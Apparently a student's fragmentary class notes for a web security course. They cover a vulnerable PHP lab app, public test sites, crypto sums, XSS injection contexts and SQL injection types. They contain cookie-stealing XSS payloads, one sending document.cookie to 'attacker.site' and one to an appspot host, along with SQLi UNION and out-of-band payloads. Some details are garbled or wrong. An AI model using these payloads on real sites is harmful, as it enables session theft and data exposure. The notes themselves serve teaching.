Class Notes by Krishna
Class Notes by Krishna
org/
Ubuntu OVA
`
https://drive.google.com/file/d/1HQB0SSlvKiTEQelPizMKAXCA68gccB4h/view
Bridge mode
Find out VM ip address
Ifconfig
Ipconfig
/etc/init.d/apache2 status
Php -version
mysql -u root -p
/var/www/html/sepwebapp/<code>
Sudo nautilus
https://github.com/krishnareddypadala/
Php
Create a db
Create tb
200 mins
6 mins
5*4=20 mins
26 mins
https://github.com/krishnareddypadala/phpvulnbank
Login.html
Usercheck.php
singout.php
Profile.php
Feedback.php
Feedback_user.php
Feedback_admin.php
Transfer.php
Register.html
Register.php
Transfer.php
Inputs
Fuser< ------- $_session[“uname”]
Toacno←--- User input
Tamnt ←--- User input
Process
Fuser,tacno,tamnt
Outputs
uname=krishna&pwd=happy123%24&login=Login
XML
<acno>1</scno>
<username>krishna</username>
JSON key:value
acno:1,username:krishna
SOAP Requests
JSON Requests
uname=krishna&pwd=happy123%24&login=Login
GET,POST,OPTIONS,PUT,DELETE,HEAD,TRACE,CONNECT
Php
Try to change the method to GET from post when you are sending critical info like passwords
and if it is allowed to mark it as vulnerability.
demo.testfire.net
Jsmith
Demo1234
http://zero.webappsecurity.com/login.html
username password
http://testphp.vulnweb.com/
test & test
Find out which all method supported by demo.testfire.net ,zero web sec,vulnweb with the help
options method?
Response
HTTP/1.1 200 OK
Date: Wed, 09 Oct 2019 03:04:06 GMT
Server: Apache/2.4.27 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 458
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<h1>Transfer</h1>
<script>
function checkInp()
var x=document.forms["transfer"]["tacno"].value;
if(isNaN(x))
{
document.write(x+" is not a number");
return false;
}
</script>
</form>
</html>
Interview
JIRA/SNOW receive
DAST
50 MB
A ----------------------------------------------------------------> B
Video ----enc --->Cipher V--------------> Cipher V ------Dec -----> Video
100sec
RSA
video------ enc enc ----- Cipher --------dec dec ------ Video
50+50 50+50
200 sec
1 MB -- 1 sec
1025KB
1024*1024B
1024*1024*8 bit --
8388608 bit -- 1sec
256 bit -----------?0.00003 sec
Sym
AES(Data)+Key ------------------------- AES(DATA) 100 sec
Assym
RPb(JPr(key))------------------------------>RPb(JPr(key))
.00003+.00003 0.00003+0.00003=0.00012 sec
100.00012 sec
(a+b)+c=a+(b+c)
5 8
6+5-->11+8--->19
11
6+8---> 14 ----+5----->19
6,11,14
19
17%4=1
25%4=1
11+14-6
http://onlinemd5.com/
https://www.devglan.com/online-tools/rsa-encryption-decryption
RSA-Pb,,
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCZ/W0j1nv3Hbel4vZjDSyxV6Xt6fkLpH7
ek++uQqKqynORgYAsWdPRuC2uOUH9jsVli6UOlYh1w8zKIwZX3B0YQbnXLcdy9zr3ygWkXZK
FZaXFIYCpGIR/vutjwLKr424/B+KAmnAgXYUqEhS4uCEN5AH9aXDqson9z75kjGtHDQIDAQA
B
RSA-Pr(key)
ZlM5QdLmowtyeuW0mGXqMtX2qJmjyJnMqOsbZJdVCQGc2BsK6sjv5Up5WcBpLz0AyHwFMr
Uq5j6DiV7/vp1qXxI3nVY/mpKlsrVSs6Tl7YbeafcVt3W5/ZmST0O8NhjzYVWUrzkSMHQSuIZ0B
EshIzOo8zGkNWz2MekeNI3uux4=
AES-key(msg)
r8gxRP6Fc7g5G9hry3ZD52mwZsiIUdR/PeGb2pVqtC5NOlQbiDJwNWgeDu/lbIsqhb03dZMhWP
4IvgT2hQsO7w==
https://www.devglan.com/online-tools/rsa-encryption-decryption
https://aesencryption.net/
3+6*5-4/2-1
30
Hello Krishna
2bits -- binary
00
01
10
11
3 bits -- 2^128
000
001
010
100
101
111
https://www.ssllabs.com/ssltest/
IBM Appscan
https://www.dropbox.com/s/jqku41tj2k60odb/AppScan_Std_9.0.3.4_Eval_Win.exe?dl=0
https://demo.testfire.net
In the body of an existing HTML tag or at the start and end of the page outside of the <html> tag.
In this context you can enter any kind of valid HTML in the user input and it would immediately be
rendered by the browser, its an executable context.
Inside the opening HTML tag, after the tag name or after an attribute value.
In this context you can enter an event handler name and JavaScript code following an = symbol and we
can have code execution, it can be considered to be an executable context.
Eg: onclick="alert(1)"
<input type=”text” name=”unmae”>
<input onmouseover=”alert(111)” type=”text” name=”uname”>
Inside the opening HTML tag, after an attribute name separated by an = symbol.
Code execution in this context would depend on the type of attribute in which the input appears. There
are different types of attributes:
a) Event attributes
These are attributes like onclick, onload etc and the values of these attributes are executed as JavaScript.
So anything here is the same as JavaScript context.
b) URL attributes
These are attributes that take URL as a value, for example src attribute of different tags. Entering a
JavaScript URL here could lead to JavaScript execution
Eg: javascript:some_javascript()
javascript:alert(111)
c) Normal attributes
If the input appears in a normal attribute value then this context must be escaped to lead to code
execution. If the attribute is quoted then the corresponding quote must be used to escape the context. In
case of unquoted attributes space or backslash should do the job. Once out of this context a new event
handler can be added to lead to code execution.
Eg:
" onclick=alert(1)
' onclick=alert(1)
onclick=alert(1)
4) HTML Comments Context
Inside the comments section of HTML
This is a non-executable context and it is required to come out this context to execute code. Entering a
--> would terminate this context and switch any subsequent text to HTML context.
5) JavaScript Context
<script>
some_javascript
user_input
some_javascript
</script>
This applies to the section enclosed by the SCRIPT tags, in event handler attributes values and in URLs
preceding with javascript: .
If user input is between SCRIPT tags then, no matter in which of the above contexts it appears you can
switch to the HTML context simply by including a closing SCRIPT tag and then insert any HTML.
If you are not going to switch to HTML context then you have to tailor the input depending on the specific
JavaScript context it appears in.
a) Code Context
This is an executable context, user input directly appears as an expression and you can directly enter
JavaScript statements and they will be executed.
Eg: $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//
var some_variable='user_input';
This is a non-executable context and the user input must include a single quote at the beginning to switch
out of the string context and enter the code context..
var some_variable="user_input";
This is a non-executable context and the user input must include a double quote at the beginning to
switch out of the string context and enter the code context..
some_js_func();//user_input
This is a non-executable context and the user input must include a new line character to terminate the
single line comment context and switch to the code context..
some_js_func();
/*
user_input
*/
some_js_code
This is a non-executable context and the user input must include*/ to terminate the multi-line comment
context and switch to the code context..
These are single quoted or double quoted string contexts but the twist is that these strings are passed to
a function or assigned to a property that would treat this string as executable code.
Some examples are:
eval("user_input");
location = "user_input";
setTimeout(1000, "user_input");
x.innerHTML = "user_input";
.write(“user_input”)
5) CSS Context
<style>
some_css
user_input
some_css
</style>
<style width=”100px”></style
This applies to the section enclosed by the STYLE tags and in style attributes values.
Injecting CSS in to a page itself could have some kind of impact of the page. For example, by changing
the location, visibility, size and z-index of the elements in a page it might be possible to make the user
perform an action different from what they think they are doing.
But the more interesting aspect is in how JavaScript can be executed from within CSS. Though, not
possible in modern browsers older browser did support JavaScript execution in two ways.
i. expression property
expression is a Internet Explorer only feature that allows execution of JavaScript embedding inside CSS.
css_selector
{
property_name: expression(some_javascript);
}
css_selector
{
background-image: javascript:some_javascript()
}
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
<script>location.href="http://krishnasectest.appspot.com?cook="+document.co
okie;</script>
<img
src="https://image.shutterstock.com/image-photo/anonymous-hacker-with
out-face-uses-260nw-781107184.jpg" >
SQL Injection
When user/attacker injects sql queries instead of data , the query will be sent to the database as
part of dynamic query and data will be executed as code which is called sql injection
In-band SQLi
In-band SQL Injection occurs when an attacker is able to use the same communication channel
to both launch the attack and gather results.
Error-Based:
Error-based SQLi is an in-band SQL Injection technique that relies on error messages
thrown by the database server to obtain information about the structure of the database.
Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL
operator to combine the results of two or more SELECT statements into a single result which is
then returned as part of the HTTP response.
SELECT * FROM banktable WHERE acno=a’ AND ‘1’=’2’ UNION SELECT * FROM banltable
where acno=5
Aid
A” and 1=2 UNION select * from cbanktb;
Select * from cbanktable where acno=”A” and 1=2 UNION show tables”;
In an inferential SQLi attack, no data is actually transferred via the web application and the
attacker would not be able to see the result of an attack in-band (which is why such attacks are
commonly referred to as “blind SQL Injection attacks”).
Blind-boolean-based(content-based) SQLi
Blind-time-based SQLi
Depending on the result, the content within the HTTP response will change, or remain the
same. This allows an attacker to infer if the payload used returned true or false, even though no
data from the database is returned. This attack is typically slow (especially on large databases)
since an attacker would need to enumerate a database, character by character.
Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an
SQL query to the database which forces the database to wait for a specified amount of time (in
seconds) before responding. The response time will indicate to the attacker whether the result
of the query is TRUE or FALSE.
Depending on the result, an HTTP response will be returned with a delay, or returned
immediately. This allows an attacker to infer if the payload used returned true or false, even
though no data from the database is returned. This attack is typically slow (especially on large
databases) since an attacker would need to enumerate a database character by character.
Out-of-band SQLi
Out-of-band SQL Injection is not very common, mostly because it depends on features
being enabled on the database server being used by the web application. Out-of-band SQL
Injection occurs when an attacker is unable to use the same channel to launch the attack and
gather results.
Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP
requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree
command, which can be used to make DNS requests to a server an attacker controls; as well as
Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL
and PL/SQL to a server an attacker controls.
1 or Utl_Http.request(‘http://google.com”)
First Order The attacker can simply enter a malicious string and cause the
Attack modified code to be executed immediately.
[^a-z,A-Z,0-9]
0x22---> >
To_char(0x22) --->”
0x22:10:50
NLS_Date_Format(“:10:50)
Sqlmap
https://github.com/zaproxy/zaproxy/wiki/Downloads
Cprng
AuthN
Recognise user/person/process
-- Captcha
---- Captcha+Lock
---- Keyloggers
AuthZ
Allowed or Not
Introduction to authorization
Horizontal privilege escalation
Vertical privilege escalation
IDOR
SDLC
S-SDLC
THreat Modelling
STRIDE
T-- Tampering
Encrypt/Digital Signatures
R-- Repudiation
D- DOS
E -- Elevation of privs